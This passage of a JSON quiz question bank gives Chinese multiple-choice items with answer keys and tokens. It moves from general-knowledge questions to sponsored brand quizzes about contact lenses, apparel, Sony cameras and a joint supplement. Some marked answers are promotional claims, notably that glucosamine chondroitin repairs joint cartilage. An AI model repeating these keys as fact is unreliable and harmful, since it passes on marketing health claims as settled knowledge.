04:42:49","status":"1"},{"questionId":"8801432248","questionIndex":"1","questionStem":"西方称之为“物理学之父”的科学家是?","options":"[{\"optionId\":\"I8wSx0BQjTwwHb-BA64qVRAjav1xNdcIIlyx\",\"optionDesc\":\"欧几里德\"},{\"optionId\":\"I8wSx0BQjTwwHb-BA64qVFq9XkYQOCrVWDru\",\"optionDesc\":\"牛顿\"},{\"optionId\":\"I8wSx0BQjTwwHb-BA64qVniS7gCi4OVjXZ1Q\",\"optionDesc\":\"阿基米德\"}]","questionToken":"I8wSx0BQjTwwHb_TEOYxBEExviwqVw7Nkqr38ZVRiWR8OSh3PX4pHCetUF2f0AIpfZzrZSbxMUmdgLWpPsWyVKo2Z_e9DA","correct":"{\"optionId\":\"I8wSx0BQjTwwHb-BA64qVniS7gCi4OVjXZ1Q\",\"optionDesc\":\"阿基米德\"}","create_time":"27/1/2021 04:48:48","update_time":"27/1/2021 04:48:48","status":"1"},{"questionId":"8801432249","questionIndex":"3","questionStem":"酒精灯点燃后,最合理的熄灭方法是?","options":"[{\"optionId\":\"I8wSx0BQjTwwHL-BA64qVVf8fCYiUBZQmxdYsQ\",\"optionDesc\":\"用嘴吹灭\"},{\"optionId\":\"I8wSx0BQjTwwHL-BA64qVOjWFYFxJIcFDNMhZQ\",\"optionDesc\":\"撒上一层细沙\"},{\"optionId\":\"I8wSx0BQjTwwHL-BA64qVjvI4KdlhGiwCMt88g\",\"optionDesc\":\"将灯帽盖上\"}]","questionToken":"I8wSx0BQjTwwHL_REOYxBKx_566bEWYIT7iIplJvKXqrwg3kdMwzKYaw924-a-di7PiE5LY-XOVDVj81xT0mi3vd7SjhHA","correct":"{\"optionId\":\"I8wSx0BQjTwwHL-BA64qVjvI4KdlhGiwCMt88g\",\"optionDesc\":\"将灯帽盖上\"}","create_time":"27/1/2021 04:48:23","update_time":"27/1/2021 04:48:23","status":"1"},{"questionId":"8801432250","questionIndex":"2","questionStem":"下列不属于人体肝脏的功能的是?","options":"[{\"optionId\":\"I8wSx0BQjTwxFb-BA64qVrsPIwJU_k-jqWRpZA\",\"optionDesc\":\"血糖转化功能\"},{\"optionId\":\"I8wSx0BQjTwxFb-BA64qVZMH71VsOjXipRxc0w\",\"optionDesc\":\"消化功能\"},{\"optionId\":\"I8wSx0BQjTwxFb-BA64qVMN2QNJweGcKMiEvKg\",\"optionDesc\":\"解毒功能\"}]","questionToken":"I8wSx0BQjTwxFb_QEOYxBN0p2uJ97Jfj3paNGuR5gxvyNsLPZk5PHrJgKAJnqsodOKqUGVPJMIAE3ZPjnjh4gFc6OaUGnw","correct":"{\"optionId\":\"I8wSx0BQjTwxFb-BA64qVrsPIwJU_k-jqWRpZA\",\"optionDesc\":\"血糖转化功能\"}","create_time":"27/1/2021 04:50:21","update_time":"27/1/2021 04:50:21","status":"1"},{"questionId":"8801432251","questionIndex":"3","questionStem":"月球环绕地球一周的时间约为?","options":"[{\"optionId\":\"I8wSx0BQjTwxFL-BA64qVLtTIVP_BKZG4l0\",\"optionDesc\":\"一年\"},{\"optionId\":\"I8wSx0BQjTwxFL-BA64qVp2cKhZauRlAANw\",\"optionDesc\":\"一个月\"},{\"optionId\":\"I8wSx0BQjTwxFL-BA64qVckRXRgAJTG7SRE\",\"optionDesc\":\"一天\"}]","questionToken":"I8wSx0BQjTwxFL_REOYxBBMJrzB0PTX4t32nhcKsF6gjl3Cwpp66B2b6GiGNhw-C1_iw2hVQ9eGPMHqzlguYCdIIf4di1w","correct":"{\"optionId\":\"I8wSx0BQjTwxFL-BA64qVp2cKhZauRlAANw\",\"optionDesc\":\"一个月\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"8801432252","questionIndex":"3","questionStem":"下列哪个奖项不在诺贝尔奖之列?","options":"[{\"optionId\":\"I8wSx0BQjTwxF7-BA64qVrK7q5QbRkWOmXc\",\"optionDesc\":\"数学奖\"},{\"optionId\":\"I8wSx0BQjTwxF7-BA64qVRZkjfPleatf-CU\",\"optionDesc\":\"物理学奖\"},{\"optionId\":\"I8wSx0BQjTwxF7-BA64qVPfn-lNzCTDFclY\",\"optionDesc\":\"医学奖\"}]","questionToken":"I8wSx0BQjTwxF7_REOYxBAH1-8AcDl9grOomM47i397bNe2EOrzpEBiolG34Fs2H50n4mBPL6V75dIxFACRRrfz0qTZslA","correct":"{\"optionId\":\"I8wSx0BQjTwxF7-BA64qVrK7q5QbRkWOmXc\",\"optionDesc\":\"数学奖\"}","create_time":"27/1/2021 04:50:55","update_time":"27/1/2021 04:50:55","status":"1"},{"questionId":"8801432253","questionIndex":"5","questionStem":"\"蜻蜒点水\"是为了?","options":"[{\"optionId\":\"I8wSx0BQjTwxFr-BA64qVMSLwDSBV-Do7Yr9Bg\",\"optionDesc\":\"呼吸\"},{\"optionId\":\"I8wSx0BQjTwxFr-BA64qVax8KHc33TClONnFww\",\"optionDesc\":\"戏水\"},{\"optionId\":\"I8wSx0BQjTwxFr-BA64qVplc6vZZdYg117NyGg\",\"optionDesc\":\"产卵\"}]","questionToken":"I8wSx0BQjTwxFr_XEOYxA2T1CYVe6NG_-hVUrObWXpyvmLSckN2_H1JxHYs4-Xanmu7aYCBrP5qwo2bJPI3e9I6X6a270w","correct":"{\"optionId\":\"I8wSx0BQjTwxFr-BA64qVplc6vZZdYg117NyGg\",\"optionDesc\":\"产卵\"}","create_time":"27/1/2021 04:33:00","update_time":"27/1/2021 04:33:00","status":"1"},{"questionId":"8801432254","questionIndex":"3","questionStem":"最早的飞机使用的发动机是?","options":"[{\"optionId\":\"I8wSx0BQjTwxEb-BA64qVLmb9cShp_TtI5AK\",\"optionDesc\":\"涡轮喷气发动机\"},{\"optionId\":\"I8wSx0BQjTwxEb-BA64qVhkTVbvHgR7-wFV-\",\"optionDesc\":\"活塞螺旋桨发动机\"},{\"optionId\":\"I8wSx0BQjTwxEb-BA64qVdi-RLqWc4YU4thG\",\"optionDesc\":\"涡轮风扇发动机\"}]","questionToken":"I8wSx0BQjTwxEb_REOYxA-ACOjlBTFt66o68fJHm5EpPSIOt9Zez8J8Bhdgj3v0dhhQzPgbeO5M680D3MIs6HpS-tbM9rQ","correct":"{\"optionId\":\"I8wSx0BQjTwxEb-BA64qVhkTVbvHgR7-wFV-\",\"optionDesc\":\"活塞螺旋桨发动机\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"8801432255","questionIndex":"4","questionStem":"下面所列选项哪个不是地下茎?","options":"[{\"optionId\":\"I8wSx0BQjTwxEL-BA64qVmtYFI0X_jPz6VHW\",\"optionDesc\":\"胡萝卜\"},{\"optionId\":\"I8wSx0BQjTwxEL-BA64qVfizvi5wgoezAMsF\",\"optionDesc\":\"荸荠\"},{\"optionId\":\"I8wSx0BQjTwxEL-BA64qVCKeAf2IZlyF4otB\",\"optionDesc\":\"马玲薯\"}]","questionToken":"I8wSx0BQjTwxEL_WEOYxBHcRH3lfhWxB2AnH7ydlUpLt9VZ9nnEvy617N5e5ovq1_uvk_0wrZUOR_EWv9K0447LODd570g","correct":"{\"optionId\":\"I8wSx0BQjTwxEL-BA64qVmtYFI0X_jPz6VHW\",\"optionDesc\":\"胡萝卜\"}","create_time":"27/1/2021 04:52:13","update_time":"27/1/2021 04:52:13","status":"1"},{"questionId":"8801432256","questionIndex":"1","questionStem":"划分湖南、湖北的“湖”是指?","options":"[{\"optionId\":\"I8wSx0BQjTwxE7-BA64qVrd7lGzBxkOhHyhKbA\",\"optionDesc\":\"洞庭湖\"},{\"optionId\":\"I8wSx0BQjTwxE7-BA64qVX7btHwHaLutazcZ7w\",\"optionDesc\":\"东湖\"},{\"optionId\":\"I8wSx0BQjTwxE7-BA64qVDqojGC92yzpj9nCIw\",\"optionDesc\":\"鄱阳湖\"}]","questionToken":"I8wSx0BQjTwxE7_TEOYxBIIaNkfj2bRybFoaxmFwnTNleDpbLeCVVkmfhlP8bjNzHWn3n3n3EiInrbB--vq7lc7jTbdbwA","correct":"{\"optionId\":\"I8wSx0BQjTwxE7-BA64qVrd7lGzBxkOhHyhKbA\",\"optionDesc\":\"洞庭湖\"}","create_time":"27/1/2021 04:40:39","update_time":"27/1/2021 04:40:39","status":"1"},{"questionId":"9101427406","questionIndex":"5","questionStem":"强生隐形眼镜是哪个国家的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoCt620opcfq3bl4bq3OzveBaM\",\"optionDesc\":\"中国\"},{\"optionId\":\"IsUSx0BRiDoCt620opcfqP1Y-reAaSZaXw8\",\"optionDesc\":\"美国 \\t \\t\"},{\"optionId\":\"IsUSx0BRiDoCt620opcfqkQXlnj4Af3iCDQ\",\"optionDesc\":\"德国\"}]","questionToken":"IsUSx0BRiDoCt63isd8E-uknHVBk5Ee2yu6m4Pbw23FtWwvt1ES4u0vlQo0-SWOaVv08ueS4lVv5QaIkWM1U_cc8GmFZlw","correct":"{\"optionId\":\"IsUSx0BRiDoCt620opcfqP1Y-reAaSZaXw8\",\"optionDesc\":\"美国 \\t \\t\"}","create_time":"27/1/2021 04:44:28","update_time":"27/1/2021 04:44:28","status":"1"},{"questionId":"9101427407","questionIndex":"5","questionStem":"美瞳是强生的注册商标吗?","options":"[{\"optionId\":\"IsUSx0BRiDoCtq20opcfqnFKZUuRMGF5G_Q\",\"optionDesc\":\"不清楚\"},{\"optionId\":\"IsUSx0BRiDoCtq20opcfqLXvgwNzBL1Lk3w\",\"optionDesc\":\"是\"},{\"optionId\":\"IsUSx0BRiDoCtq20opcfqztpPFKwZpMuQ8Q\",\"optionDesc\":\"不是\"}]","questionToken":"IsUSx0BRiDoCtq3isd8E_aP00rWk9YKjqySBKW6HzIgKiMzHSh45vts5S5JuPjIWpti77lL-NkzJuO932qetsZwivdAeFQ","correct":"{\"optionId\":\"IsUSx0BRiDoCtq20opcfqLXvgwNzBL1Lk3w\",\"optionDesc\":\"是\"}","create_time":"27/1/2021 04:40:35","update_time":"27/1/2021 04:40:35","status":"1"},{"questionId":"9101427408","questionIndex":"1","questionStem":"强生隐形眼镜提倡的是?","options":"[{\"optionId\":\"IsUSx0BRiDoCua20opcfq7CPqE5HKNXCRECpSQ\",\"optionDesc\":\"抛型周期越长越划算 \"},{\"optionId\":\"IsUSx0BRiDoCua20opcfqgOh-ZGUrCP244EdyQ\",\"optionDesc\":\"美瞳色素越夸张越好\"},{\"optionId\":\"IsUSx0BRiDoCua20opcfqLIV-GcvsMeSp6h5Dw\",\"optionDesc\":\"抛型周期越短越健康 \\t\\t\"}]","questionToken":"IsUSx0BRiDoCua3msd8E-mJ2G1CoQm3wVePwU1ISJPoh7Vb5Ndw5O9zq5QFYehf86Ar6NJp_H_68d7KbHBf0sOSyBeiiCQ","correct":"{\"optionId\":\"IsUSx0BRiDoCua20opcfqLIV-GcvsMeSp6h5Dw\",\"optionDesc\":\"抛型周期越短越健康 \\t\\t\"}","create_time":"27/1/2021 04:39:29","update_time":"27/1/2021 04:39:29","status":"1"},{"questionId":"9101427409","questionIndex":"3","questionStem":"以下哪个不是强生隐形眼镜售卖的抛型?","options":"[{\"optionId\":\"IsUSx0BRiDoCuK20opcfqBwm6pHzvsAepmC6_w\",\"optionDesc\":\"年抛 \\t \\t\"},{\"optionId\":\"IsUSx0BRiDoCuK20opcfqtSK98oZqxhC43Uxug\",\"optionDesc\":\"双周抛\"},{\"optionId\":\"IsUSx0BRiDoCuK20opcfqyoIS_dbTIvH_vw_ew\",\"optionDesc\":\"日抛\"}]","questionToken":"IsUSx0BRiDoCuK3ksd8E-uTKXsmH6MrgXcg4Lj17cCXEyjvCw88DacLss7l7bEbH4AGOhzHpzW3ind7gslqPVYJoXQr-6Q","correct":"{\"optionId\":\"IsUSx0BRiDoCuK20opcfqBwm6pHzvsAepmC6_w\",\"optionDesc\":\"年抛 \\t \\t\"}","create_time":"27/1/2021 04:39:40","update_time":"27/1/2021 04:39:40","status":"1"},{"questionId":"9101427410","questionIndex":"4","questionStem":"以下哪个不是强生安视优的产品?","options":"[{\"optionId\":\"IsUSx0BRiDoDsa20opcfqMMPDM1vE3yLcCA6vA\",\"optionDesc\":\"泡泡实验室 \\t \\t\"},{\"optionId\":\"IsUSx0BRiDoDsa20opcfqyNBsPRyRDi0g86ukA\",\"optionDesc\":\"舒日\"},{\"optionId\":\"IsUSx0BRiDoDsa20opcfqgJ2BBHQsVgvYChIGA\",\"optionDesc\":\"美瞳\"}]","questionToken":"IsUSx0BRiDoDsa3jsd8E_VXdsRaM5ZHSJtUyu6xBAHfnkn0bMBndDPxZXz_DNi3RZJze8v5v321YK4JdX-teoXtIaZ8Thw","correct":"{\"optionId\":\"IsUSx0BRiDoDsa20opcfqMMPDM1vE3yLcCA6vA\",\"optionDesc\":\"泡泡实验室 \\t \\t\"}","create_time":"27/1/2021 04:51:32","update_time":"27/1/2021 04:51:32","status":"1"},{"questionId":"9101427411","questionIndex":"5","questionStem":"三枪集团总部坐落于?","options":"[{\"optionId\":\"IsUSx0BRiDoDsK20opcfqjRFdHfMPU6D9HOa\",\"optionDesc\":\"广东深圳\"},{\"optionId\":\"IsUSx0BRiDoDsK20opcfqMN_AeGEr_Fpou7H\",\"optionDesc\":\"上海浦东\"},{\"optionId\":\"IsUSx0BRiDoDsK20opcfq70bkFtqm427ml0h\",\"optionDesc\":\"上海黄浦\\t\"}]","questionToken":"IsUSx0BRiDoDsK3isd8E-mWlvHEVbsUBD9_5lfcIMXA6sQa_4lgxkodVcvEqf3z4zwC5zkU9oftZbHJRvsOUzPDLAwel2g","correct":"{\"optionId\":\"IsUSx0BRiDoDsK20opcfqMN_AeGEr_Fpou7H\",\"optionDesc\":\"上海浦东\"}","create_time":"27/1/2021 04:48:46","update_time":"27/1/2021 04:48:46","status":"1"},{"questionId":"9101427412","questionIndex":"1","questionStem":"三枪品牌创始于哪一年?","options":"[{\"optionId\":\"IsUSx0BRiDoDs620opcfq21CKRJ1oRDh\",\"optionDesc\":\"1994\"},{\"optionId\":\"IsUSx0BRiDoDs620opcfqqoYYYCkRQDD\",\"optionDesc\":\"1957\"},{\"optionId\":\"IsUSx0BRiDoDs620opcfqEMGyKQcUdkA\",\"optionDesc\":\"1937\\t\\t\"}]","questionToken":"IsUSx0BRiDoDs63msd8E-jhQ55lLtrXkUCdgOw55ogl4fUYQysCNmPmCfHvNAafhW_-Xvdc8XHewmUJpGvPry9JinOvkFw","correct":"{\"optionId\":\"IsUSx0BRiDoDs620opcfqEMGyKQcUdkA\",\"optionDesc\":\"1937\\t\\t\"}","create_time":"27/1/2021 04:39:42","update_time":"27/1/2021 04:39:42","status":"1"},{"questionId":"9101427414","questionIndex":"1","questionStem":"以下哪个品牌与三枪有过联名?","options":"[{\"optionId\":\"IsUSx0BRiDoDta20opcfqvOcyc3xkmMM2rzt\",\"optionDesc\":\"李宁\"},{\"optionId\":\"IsUSx0BRiDoDta20opcfqIbHIDLK3e3tVUJi\",\"optionDesc\":\"故宫宫廷文化\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoDta20opcfq4ylr7um1RbgI2gI\",\"optionDesc\":\"光明\"}]","questionToken":"IsUSx0BRiDoDta3msd8E-sLwkWFa0iBuHXbxSnoFHO2kmqRdWXw71DoGktff_gHk_Xzj1nqAM94afwSR0SnEZO9DKW4U9Q","correct":"{\"optionId\":\"IsUSx0BRiDoDta20opcfqIbHIDLK3e3tVUJi\",\"optionDesc\":\"故宫宫廷文化\\t\\t\"}","create_time":"27/1/2021 04:43:53","update_time":"27/1/2021 04:43:53","status":"1"},{"questionId":"9101427415","questionIndex":"4","questionStem":"以下哪个不属于三枪业务?","options":"[{\"optionId\":\"IsUSx0BRiDoDtK20opcfq4qvFhxJg_oO2ic\",\"optionDesc\":\"服饰\\t\"},{\"optionId\":\"IsUSx0BRiDoDtK20opcfqt0x-anTD9qIxNM\",\"optionDesc\":\"家纺\"},{\"optionId\":\"IsUSx0BRiDoDtK20opcfqNZ32AP9-ULn-CA\",\"optionDesc\":\"食品\\t\"}]","questionToken":"IsUSx0BRiDoDtK3jsd8E_S19-K54X0baWAZQM2d25pi5BSGLNE3B3r9Bq7HT27ODUoRm3-ISLZawkkwF1egod336y2m92w","correct":"{\"optionId\":\"IsUSx0BRiDoDtK20opcfqNZ32AP9-ULn-CA\",\"optionDesc\":\"食品\\t\"}","create_time":"27/1/2021 04:40:36","update_time":"27/1/2021 04:40:36","status":"1"},{"questionId":"9101427416","questionIndex":"4","questionStem":"以下哪个品牌属于三枪集团?","options":"[{\"optionId\":\"IsUSx0BRiDoDt620opcfqPeRBGqL_w4xrI6j\",\"optionDesc\":\"鹅牌\\t\"},{\"optionId\":\"IsUSx0BRiDoDt620opcfq6gHO0UieodeN-Rz\",\"optionDesc\":\"钟牌\\t\"},{\"optionId\":\"IsUSx0BRiDoDt620opcfqm0vqUXmazh4pBcE\",\"optionDesc\":\"民光\"}]","questionToken":"IsUSx0BRiDoDt63jsd8E_UMW5Zpjs6yx3y3EA4PQTz9nCUBgKI1k0Q_Ynw_zNUvG9fXOTEL_U9Ge6ptAkPNYigtsuM1E2w","correct":"{\"optionId\":\"IsUSx0BRiDoDt620opcfqPeRBGqL_w4xrI6j\",\"optionDesc\":\"鹅牌\\t\"}","create_time":"27/1/2021 04:45:20","update_time":"27/1/2021 04:45:20","status":"1"},{"questionId":"9101427418","questionIndex":"3","questionStem":"佳佰 万信达在京东主营什么产品?","options":"[{\"optionId\":\"IsUSx0BRiDoDua20opcfqitilAIAI5MPhuZ6\",\"optionDesc\":\"护肤品\"},{\"optionId\":\"IsUSx0BRiDoDua20opcfqxGHuMjYrfy6MQrt\",\"optionDesc\":\"箱包\\t\"},{\"optionId\":\"IsUSx0BRiDoDua20opcfqP6aBR01zRTngrfi\",\"optionDesc\":\"口罩\\t\"}]","questionToken":"IsUSx0BRiDoDua3ksd8E-qn_kTbf6faPRep9zcT9BSYV1HV2la5GASm0XkNDLoth4ufJvJdSy2N8EUcO5hoJAr0kJKlXQg","correct":"{\"optionId\":\"IsUSx0BRiDoDua20opcfqP6aBR01zRTngrfi\",\"optionDesc\":\"口罩\\t\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"9101427419","questionIndex":"5","questionStem":"佳佰 万信达今年推出了什么产品?","options":"[{\"optionId\":\"IsUSx0BRiDoDuK20opcfqvVeZ3d0dop_uVA\",\"optionDesc\":\"拜年手机\"},{\"optionId\":\"IsUSx0BRiDoDuK20opcfqGYA5KH2NIsoSqU\",\"optionDesc\":\"拜年口罩\\t\"},{\"optionId\":\"IsUSx0BRiDoDuK20opcfq8msEYUZ__RMlTk\",\"optionDesc\":\"拜年箱包\\t\"}]","questionToken":"IsUSx0BRiDoDuK3isd8E_VZ8rQTSpo3a-Z7WNLJX7a9f1_8jnosta1VsySwsjeNKnBLm3lbW4dC8IWRNK6xgN6Zo_by8bg","correct":"{\"optionId\":\"IsUSx0BRiDoDuK20opcfqGYA5KH2NIsoSqU\",\"optionDesc\":\"拜年口罩\\t\"}","create_time":"27/1/2021 04:49:56","update_time":"27/1/2021 04:49:56","status":"1"},{"questionId":"9101427420","questionIndex":"5","questionStem":"佳佰 万信达LOGO简称是?","options":"[{\"optionId\":\"IsUSx0BRiDoAsa20opcfqyxohSsBCwI\",\"optionDesc\":\"WXDD\\t\"},{\"optionId\":\"IsUSx0BRiDoAsa20opcfqC7WfGMolgg\",\"optionDesc\":\"WXD\\t\"},{\"optionId\":\"IsUSx0BRiDoAsa20opcfqqtmzt87A50\",\"optionDesc\":\"WDX\"}]","questionToken":"IsUSx0BRiDoAsa3isd8E-qipWNtUvOWRMwSnEGzWtrjkCXKt8iC9U0ExozG5OTmq-yrvOznh6x5IOY1Jw0ka8zo3NMEYpQ","correct":"{\"optionId\":\"IsUSx0BRiDoAsa20opcfqC7WfGMolgg\",\"optionDesc\":\"WXD\\t\"}","create_time":"27/1/2021 04:37:44","update_time":"27/1/2021 04:37:44","status":"1"},{"questionId":"9101427421","questionIndex":"2","questionStem":"以下哪个不是佳佰 万信达的拜年口罩类型?","options":"[{\"optionId\":\"IsUSx0BRiDoAsK20opcfqprAJ1evpuOWdcAVaA\",\"optionDesc\":\"牛年顺利\"},{\"optionId\":\"IsUSx0BRiDoAsK20opcfqxYs_w19Au3Euqkzwg\",\"optionDesc\":\"牛转乾坤\\t\"},{\"optionId\":\"IsUSx0BRiDoAsK20opcfqABdYLMsjYo8mFH6QA\",\"optionDesc\":\"福星高照\\t\"}]","questionToken":"IsUSx0BRiDoAsK3lsd8E_Yorgwa8xT4zNMgCGWpKilk7d65GJgicCCGZVbF-FgSC5mlFC6Dsb_lh1kJMo-4D2E0bvnPoDQ","correct":"{\"optionId\":\"IsUSx0BRiDoAsK20opcfqABdYLMsjYo8mFH6QA\",\"optionDesc\":\"福星高照\\t\"}","create_time":"27/1/2021 04:00:28","update_time":"27/1/2021 04:00:28","status":"1"},{"questionId":"9101427422","questionIndex":"2","questionStem":"以下哪个是佳佰 万信达产品的覆盖范围?","options":"[{\"optionId\":\"IsUSx0BRiDoAs620opcfqv2mbpK6gSlxV_WtvQ\",\"optionDesc\":\"俄罗斯\"},{\"optionId\":\"IsUSx0BRiDoAs620opcfqI0RbI3l8m0ElIXI-Q\",\"optionDesc\":\"中国\"},{\"optionId\":\"IsUSx0BRiDoAs620opcfqwQ_ckQmX86Rs5dv5A\",\"optionDesc\":\"英国\"}]","questionToken":"IsUSx0BRiDoAs63lsd8E-vc2KETe-qT1ucoQyDzkzCD3Io0ng1wgy1MwCEVBvgEbmkklYcPJVTIPYdaKbru64kd0Je1Bpw","correct":"{\"optionId\":\"IsUSx0BRiDoAs620opcfqI0RbI3l8m0ElIXI-Q\",\"optionDesc\":\"中国\"}","create_time":"27/1/2021 04:42:51","update_time":"27/1/2021 04:42:51","status":"1"},{"questionId":"9101427423","questionIndex":"3","questionStem":"索尼公司于哪一年成立?","options":"[{\"optionId\":\"IsUSx0BRiDoAsq20opcfqgqIMeA3lyzP--TW\",\"optionDesc\":\"1958\"},{\"optionId\":\"IsUSx0BRiDoAsq20opcfq5xwq-x2mjVz_zjz\",\"optionDesc\":\"1956\\t\"},{\"optionId\":\"IsUSx0BRiDoAsq20opcfqOvYYfagrusqhSi1\",\"optionDesc\":\"1946\\t\"}]","questionToken":"IsUSx0BRiDoAsq3ksd8E-j_WtpFQ-2OQ7HgTRpN7Jx04s8329VMQlkSAipoH6CfBmlyxcZIx7wIY4LeBis8d6s8eWzt5fg","correct":"{\"optionId\":\"IsUSx0BRiDoAsq20opcfqOvYYfagrusqhSi1\",\"optionDesc\":\"1946\\t\"}","create_time":"27/1/2021 04:49:53","update_time":"27/1/2021 04:49:53","status":"1"},{"questionId":"9101427425","questionIndex":"3","questionStem":"索尼公司创立于哪个国家?","options":"[{\"optionId\":\"IsUSx0BRiDoAtK20opcfq35QNRSuZivGn5za\",\"optionDesc\":\"美国\\t\"},{\"optionId\":\"IsUSx0BRiDoAtK20opcfqsnv1-XR2tE-mZzc\",\"optionDesc\":\"德国\"},{\"optionId\":\"IsUSx0BRiDoAtK20opcfqNqb6qN9xg41bkF5\",\"optionDesc\":\"日本\"}]","questionToken":"IsUSx0BRiDoAtK3ksd8E_cEj2sMx9i_DmyFAQbsjUC4RxYHKJqMe6T3yXyXvKoxhe7WLmTrqdV_e4siOqX0Thv5vTbV4mg","correct":"{\"optionId\":\"IsUSx0BRiDoAtK20opcfqNqb6qN9xg41bkF5\",\"optionDesc\":\"日本\"}","create_time":"27/1/2021 04:38:24","update_time":"27/1/2021 04:38:24","status":"1"},{"questionId":"9101427426","questionIndex":"5","questionStem":"索尼公司哪一年进入中国?","options":"[{\"optionId\":\"IsUSx0BRiDoAt620opcfqonxiOIoHX3rvTA\",\"optionDesc\":\"2000\"},{\"optionId\":\"IsUSx0BRiDoAt620opcfq3Q6vjMAIptoodY\",\"optionDesc\":\"1998\\t\"},{\"optionId\":\"IsUSx0BRiDoAt620opcfqFEaCRPPTEjAnEc\",\"optionDesc\":\"1996\\t\"}]","questionToken":"IsUSx0BRiDoAt63isd8E-iHw-KyDR2RftVbMWznxLQ2K9MXclkqqtP1Xpa-b5zePKkSAHnea3XkJW1hzCsMv75DLPuTN-A","correct":"{\"optionId\":\"IsUSx0BRiDoAt620opcfqFEaCRPPTEjAnEc\",\"optionDesc\":\"1996\\t\"}","create_time":"27/1/2021 04:39:20","update_time":"27/1/2021 04:39:20","status":"1"},{"questionId":"9101427427","questionIndex":"4","questionStem":"索尼微单最高连拍可达多少?","options":"[{\"optionId\":\"IsUSx0BRiDoAtq20opcfqCe-lg1NAZplUVjp\",\"optionDesc\":\"约20张/秒\\t\"},{\"optionId\":\"IsUSx0BRiDoAtq20opcfqgUhmaXArUnh4OSs\",\"optionDesc\":\"约15张/秒\"},{\"optionId\":\"IsUSx0BRiDoAtq20opcfqw3UjOomVVXRKeKQ\",\"optionDesc\":\"约25张/秒\\t\"}]","questionToken":"IsUSx0BRiDoAtq3jsd8E_Wt09Ge1IWLme0pRc90kFVwe9SKDYi5QwHQF_p01QzU50HYm-Vd1m40aTJpHHo3Ib5QfJtJ7yw","correct":"{\"optionId\":\"IsUSx0BRiDoAtq20opcfqCe-lg1NAZplUVjp\",\"optionDesc\":\"约20张/秒\\t\"}","create_time":"27/1/2021 04:48:45","update_time":"27/1/2021 04:48:45","status":"1"},{"questionId":"9101427428","questionIndex":"5","questionStem":"哪个是用索尼微单拍摄动物最得力的黑科技?","options":"[{\"optionId\":\"IsUSx0BRiDoAua20opcfqMGd70acfEICWEdlKQ\",\"optionDesc\":\"实时动物眼部对焦\\t\"},{\"optionId\":\"IsUSx0BRiDoAua20opcfqsHS4c5RLRQ6X-tomw\",\"optionDesc\":\"实时眼部对焦\"},{\"optionId\":\"IsUSx0BRiDoAua20opcfq65RJ8zTrLT3swylfw\",\"optionDesc\":\"全新的侧翻转屏\"}]","questionToken":"IsUSx0BRiDoAua3isd8E_Sey_HFPCKRC28g81TprO--20-YSjVdZPmr_ld4jO_3tMP6jzn8Ap4Ho64cJ2RfiAwCGe76wng","correct":"{\"optionId\":\"IsUSx0BRiDoAua20opcfqMGd70acfEICWEdlKQ\",\"optionDesc\":\"实时动物眼部对焦\\t\"}","create_time":"27/1/2021 03:40:49","update_time":"27/1/2021 03:40:49","status":"1"},{"questionId":"9101427429","questionIndex":"4","questionStem":"氨糖软骨素的作用是什么?","options":"[{\"optionId\":\"IsUSx0BRiDoAuK20opcfqzaoaHfR54VR2NqI2Q\",\"optionDesc\":\"调节三高\"},{\"optionId\":\"IsUSx0BRiDoAuK20opcfqMjalye764OXhA4MoQ\",\"optionDesc\":\"修复关节软骨\"},{\"optionId\":\"IsUSx0BRiDoAuK20opcfqtkEugaNdBu81Asxmw\",\"optionDesc\":\"强健心肌\"}]","questionToken":"IsUSx0BRiDoAuK3jsd8E_Tn5JIUwqzJWns7bEq8IpRKIVDxCKpIe2s3S9s11dCI1tDnMUn6wzZUYr2SiVst8ZI0I7Zw98A","correct":"{\"optionId\":\"IsUSx0BRiDoAuK20opcfqMjalye764OXhA4MoQ\",\"optionDesc\":\"修复关节软骨\"}","create_time":"27/1/2021 04:00:29","update_time":"27/1/2021 04:00:29","status":"1"},{"questionId":"9101427430","questionIndex":"2","questionStem":"Move Free是专注于哪方面健康的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoBsa20opcfquqHY01db0wNfJ_U\",\"optionDesc\":\"美容养颜\"},{\"optionId\":\"IsUSx0BRiDoBsa20opcfqEfrYNQ9QT5VMFGh\",\"optionDesc\":\"关节健康\"},{\"optionId\":\"IsUSx0BRiDoBsa20opcfqwv1ChURIt0oKIcN\",\"optionDesc\":\"免疫健康\"}]","questionToken":"IsUSx0BRiDoBsa3lsd8E-jw8uSc9PCiu_siwWMVZtZLT5xPbKEu-LZ-wv3Ult4_7MDemx5IlW1i-Ne1ed_3d885VlSftpg","correct":"{\"optionId\":\"IsUSx0BRiDoBsa20opcfqEfrYNQ9QT5VMFGh\",\"optionDesc\":\"关节健康\"}","create_time":"27/1/2021 04:49:20","update_time":"27/1/2021 04:49:20","status":"1"},{"questionId":"9101427431","questionIndex":"1","questionStem":"Move Free是哪个国家的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoBsK20opcfqkkZ-vyKW-aQDzpp\",\"optionDesc\":\"澳大利亚\"},{\"optionId\":\"IsUSx0BRiDoBsK20opcfqLK5TAJVP8Q9cDoM\",\"optionDesc\":\"美国\\t\"},{\"optionId\":\"IsUSx0BRiDoBsK20opcfqxctYC25k6qjCeEl\",\"optionDesc\":\"英国\\t\"}]","questionToken":"IsUSx0BRiDoBsK3msd8E-h2KYQu81CnCHAodWxuGPAx1EwP8GL0MJ59GCGk2GJ-SYWTQ4HdInUsrPHUHDkERc4oDCsD_OQ","correct":"{\"optionId\":\"IsUSx0BRiDoBsK20opcfqLK5TAJVP8Q9cDoM\",\"optionDesc\":\"美国\\t\"}","create_time":"27/1/2021 04:40:02","update_time":"27/1/2021 04:40:02","status":"1"},{"questionId":"9101427432","questionIndex":"4","questionStem":"Move 